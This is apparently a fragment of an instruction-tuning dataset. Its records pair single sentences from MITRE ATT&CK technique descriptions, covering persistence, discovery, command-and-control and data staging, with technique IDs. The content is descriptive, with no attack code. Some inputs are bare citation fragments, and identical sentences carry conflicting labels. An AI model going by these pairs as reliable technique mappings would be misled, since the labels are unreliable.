"List the MITRE techniques contained in the text.", "input": "These persistence mechanisms can work within Outlook or be used through Office 365.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet O365 Outlook Rules)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet O365 Outlook Rules) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.", "output": "T1137.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. ### Response: T1137.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Office add-ins can be used to add functionality to Office programs.", "output": "T1137.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Office add-ins can be used to add functionality to Office programs. ### Response: T1137.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins.", "output": "T1137.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. ### Response: T1137.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.", "output": "T1137.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ### Response: T1137.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW) ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems.", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft transport agents to establish persistent access to systems. ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation:", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET LightNeuron May 2019)", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET LightNeuron May 2019) ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server.", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019)", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria.", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.", "output": "T1505.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ### Response: T1505.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.", "output": "T1082", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. ### Response: T1082."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1082", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1082."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information.", "output": "T1082", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. ### Response: T1082."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS.", "output": "T1082", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. ### Response: T1082."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space.", "output": "T1082", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. ### Response: T1082."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. <code>show version</code>).(Citation: US-CERT-TA18-106A)", "output": "T1082", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. <code>show version</code>).(Citation: US-CERT-TA18-106A) ### Response: T1082."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs.", "output": "T1082", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. ### Response: T1082."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", "output": "T1082", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) ### Response: T1082."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Protocols such as SMB, FTP, FTPS, and TFTP that transfer files may be very common in environments.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Protocols such as SMB, FTP, FTPS, and TFTP that transfer files may be very common in environments. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Packets produced from these protocols may have many fields and headers in which data can be concealed.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Packets produced from these protocols may have many fields and headers in which data can be concealed. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data could also be concealed within the transferred files.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data could also be concealed within the transferred files. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The DNS protocol serves an administrative function in computer networking and thus may be very common in environments.", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS traffic may also be allowed even before network authentication is completed.", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS traffic may also be allowed even before network authentication is completed. ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS packets contain many fields and headers in which data can be concealed.", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS packets contain many fields and headers in which data can be concealed. ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Packets produced from these protocols may have many fields and headers in which data can be concealed.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Packets produced from these protocols may have many fields and headers in which data can be concealed. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data could also be concealed within the email messages themselves.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data could also be concealed within the email messages themselves. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments.", "output": "T1071.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. ### Response: T1071.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTTP/S packets have many fields and headers in which data can be concealed.", "output": "T1071.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTTP/S packets have many fields and headers in which data can be concealed. ### Response: T1071.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "output": "T1071.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ### Response: T1071.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may stage collected data in a central location or directory prior to Exfiltration.", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may stage collected data in a central location or directory prior to Exfiltration. ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017) ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration.", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection. ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration.", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration.", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.", "output": "T1074.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection. ### Response: T1074.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system.", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes 